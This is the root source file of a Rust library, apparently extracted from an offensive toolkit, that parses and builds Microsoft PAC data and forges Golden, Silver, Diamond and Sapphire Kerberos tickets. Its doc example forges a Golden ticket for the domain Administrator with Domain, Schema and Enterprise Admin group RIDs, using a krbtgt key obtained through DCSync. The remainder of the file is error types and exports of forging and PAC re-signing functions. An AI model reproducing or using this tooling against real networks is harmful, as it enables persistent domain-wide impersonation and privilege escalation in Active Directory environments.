ms_pac_forge/lib.rs
1//! **ms-pac-forge** — MS-PAC marshaling + Golden/Silver Kerberos ticket
2//! forgery in pure Rust. Extracted from adhammer.
3//!
4//! # Modules
5//! - [`pac`] — PAC container parse + build (KERB_VALIDATION_INFO,
6//! CLIENT_INFO, ATTRIBUTES, REQUESTOR, SERVER/KDC signatures).
7//! - [`forge`] — [`forge::forge_golden_tgt`] and [`forge::forge_silver_tgt`].
8//! - [`checksum`] — RC4-HMAC (etype 23) + KERB_CHECKSUM_HMAC_MD5 (-138) used
9//! by RC4 forges. AES256 is provided by picky-krb.
10//!
11//! # Example
12//! ```no_run
13//! use ms_pac_forge::pac::ForgeIdentity;
14//! use ms_pac_forge::forge::forge_golden_tgt;
15//!
16//! let id = ForgeIdentity {
17//! user: "Administrator".into(),
18//! rid: 500,
19//! primary_gid: 513,
20//! group_rids: vec![513, 512, 520, 518, 519],
21//! domain_subauths: vec![21, 1111111111, 2222222222, 3333333333],
22//! logon_server: "DC01".into(),
23//! logon_domain: "CORP".into(),
24//! ..Default::default()
25//! };
26//! let krbtgt_aes256 = [0x42u8; 32]; // from `dcsync krbtgt`
27//! let tgt = forge_golden_tgt(&id, "CORP.LOCAL", &krbtgt_aes256, false).unwrap();
28//! let _ = tgt.ticket_cipher();
29//! ```
30//!
31//! 1.5.3 audit M-3: unsafe code forbidden, parity with kerbcore.
32
33#![forbid(unsafe_code)]
34
35/// Typed error for PAC marshaling + Kerberos ticket forgery. Replaces the
36/// previous `anyhow::Error` public surface so callers can match specific
37/// failure modes (wrong key vs malformed PAC vs encode failure).
38#[derive(Debug, thiserror::Error)]
39#[non_exhaustive]
40pub enum PacForgeError {
41 /// DER / PAC decode failure.
42 #[error("{0}")]
43 Decode(String),
44 /// DER / PAC encode failure.
45 #[error("{0}")]
46 Encode(String),
47 /// EncTicketPart decrypt failure (usually a wrong krbtgt / service key).
48 #[error("{0}")]
49 Decrypt(String),
50 /// EncTicketPart encrypt failure.
51 #[error("{0}")]
52 Encrypt(String),
53 /// PAC signature / checksum computation failure.
54 #[error("{0}")]
55 Signature(String),
56 /// A required PAC buffer type was not present.
57 #[error("PAC missing buffer type {0}")]
58 MissingBuffer(u32),
59 /// PAC truncated or a buffer offset ran past the blob.
60 #[error("{0}")]
61 Truncated(String),
62 /// The ticket carried no authorization-data (no PAC to extract).
63 #[error("ticket has no authorization-data (no PAC)")]
64 NoAuthData,
65 /// PAC version field was not 0.
66 #[error("PAC version {0} != 0")]
67 InvalidVersion(u32),
68 /// Caller-supplied identity was invalid.
69 #[error("{0}")]
70 InvalidIdentity(String),
71}
72
73/// Result alias for ms-pac-forge operations.
74pub type Result<T> = std::result::Result<T, PacForgeError>;
75
76pub mod checksum;
77pub mod diamond;
78pub mod forge;
79pub mod pac;
80pub mod sapphire;
81pub mod util;
82
83pub use diamond::{build_diamond_ticket, forge_diamond_tgt};
84pub use forge::{forge_golden_tgt, forge_silver_tgt, ForgedTicket};
85pub use pac::{
86 assemble_pac, build_kerb_validation_info, decrypt_ticket_pac_aes256, decrypt_ticket_pac_rc4,
87 parse_pac, re_sign_pac, ForgeIdentity, PacBuf, ParsedPac,
88};
89pub use sapphire::{
90 build_pa_for_user, extract_pac_from_enc_ticket_part, forge_sapphire_service_ticket,
91 KEY_USAGE_S4U_CHECKSUM, PA_FOR_USER,
92};